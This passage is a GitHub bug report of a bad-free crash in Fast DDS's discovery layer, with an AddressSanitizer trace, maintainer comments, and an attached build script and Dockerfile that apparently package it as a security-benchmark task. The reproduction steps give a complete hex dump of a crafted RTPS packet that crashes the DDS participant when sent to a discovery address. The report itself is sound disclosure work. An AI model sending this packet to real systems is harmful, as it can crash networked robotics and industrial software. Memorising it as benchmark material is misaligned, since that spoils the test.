    #11 0x7f8efb07cf80 in eprosima::fastdds::statistics::dds::DomainParticipantImpl::enable() /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/statistics/fastdds/domain/DomainParticipantImpl.cpp:253:52
    #12 0x7f8efa82c8d7 in eprosima::fastdds::dds::DomainParticipant::enable() /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/fastdds/domain/DomainParticipant.cpp:110:36
    #13 0x4e3b08 in HelloWorldPublisher::init(bool) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/examples/cpp/dds/HelloWorldExample/HelloWorldPublisher.cpp:66:29
    #14 0x514bd6 in main /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/examples/cpp/dds/HelloWorldExample/HelloWorld_main.cpp:309:23
    #15 0x7f8ef93fc082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: bad-free (/home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x4aa3d2) in free
==2252002==ABORTING
```


### Steps to reproduce

1. Run `DDSHelloWorldExample`. Publisher/subscriber doesn't matter as the bug is in the discovery layer.
```
$ cd path/to/fastdds_colcon_workspace/
$ source install/setup.sh
$ cd src/fastrtps/examples/cpp/dds/HelloWorldExample
$ ./DDSHelloWorldExample publisher
```

2. Send the following RTPS submessage to a relevant discovery recipient, e.g., `239.255.0.1:7400`.
```
0000  45 00 00 4C 00 01 40 00 40 11 D9 92 80 3D F0 CF  E..L..@.@....=..                                                                                                                       
0010  EF FF 00 01 05 39 1C E8 00 38 BC EC 52 54 50 53  .....9...8..RTPS                                                                                                                       
0020  02 04 01 0F 01 03 02 42 AC 11 00 02 45 E5 E2 FD  .......B....E...                                                                                                                       
0030  15 17 18 00 00 00 10 92 00 00 00 00 00 01 00 C2  ................                                                                                                                       
0040  00 00 00 00 02 00 00 00 01 00 00 00              ............
```
This packet is also available in the attached pcap down below. The Data Submessage begins at offset 0x30.

Scapy dissector for rtps interprets the submessage as:
```
###[ RTPS Message ]### 
           \submessages\
            |###[ RTPS DATA (0x15) ]### 
            |  submessageId= 0x15
            |  submessageFlags= 0x17
            |  octetsToNextHeader= 24
            |  extraFlags= 0x0
            |  octetsToInlineQoS= 37392
            |  readerEntityIdKey= 0x0
            |  readerEntityIdKind= 0x0
            |  writerEntityIdKey= 0x100
            |  writerEntityIdKind= 0xc2
            |  writerSeqNumHi= 0
            |  writerSeqNumLow= 2
            |  \inlineQoS \
            |   |###[ Inline QoS ]### 
            |   |  \parameters\
            |   |  \sentinel  \
            |   |   |###[ PID_SENTINEL ]### 
            |   |   |  parameterId= 0x1
            |   |   |  parameterLength= 0
            |   |   |  parameterData= ''
            |  data      = ''
```
  
The same bug can be triggered by sending the same Data submessage with `octetsToNextHeader = 0` instead of `24`.

3. `DDSHelloWorldExample` crashes. Please refer to the ASAN error message posted in the "Current behavior" section.

### Fast DDS version/commit

Found on commit 0ee59f6b5f9b745b6db9f8b5e2d4f5dca52a0e83.
Also tested on v2.9.0 (4c55488d6225283b2e2114438a1bd726411876e7).


### Platform/Architecture

Ubuntu Focal 20.04 amd64

### Transport layer

Default configuration, UDPv4 & SHM

### Additional context

_No response_

### XML configuration file

_No response_

### Relevant log output

_No response_

### Network traffic capture

PCAP: [fastdds-bad_free.zip](https://github.com/eProsima/Fast-DDS/files/10395658/fastdds-bad_free.zip)



Comments:
Comment by MiguelCompany on 2023-01-12 10:24:28+00:00:
@squizz617 Thanks for the report. With all the provided details, I think we should be able to create a regression test.

---

Comment by squizz617 on 2023-05-19 12:41:46+00:00:
Hi @MiguelCompany, have you had any chance to look into this? It's been quite a while since this report was made, and I would like to request a CVE ID for this. Thank you.

Attachments:
https://github.com/eProsima/Fast-DDS/files/10395658/fastdds-bad_free.zip

Commit References:
4c55488d6225283b2e2114438a1bd726411876e7
0ee59f6b5f9b745b6db9f8b5e2d4f5dca52a0e83

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
make clean -j$(nproc)
make -j$(nproc) all
./configure
make -j$(nproc) install
mkdir -p Fast-CDR/build && cd Fast-CDR/build
cmake .. -DBUILD_SHARED_LIBS=OFF
cmake --build . --target install
mkdir -p build && cd build
make -j $(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt install -y autoconf automake pkg-config
RUN git clone https://github.com/eprosima/fast-dds fast-dds
RUN git -C fast-dds checkout ed70007a5745f265b03ecb56ea74f466ff3dadee
WORKDIR $SRC/fast-dds
COPY build.sh $SRC/

Additional files: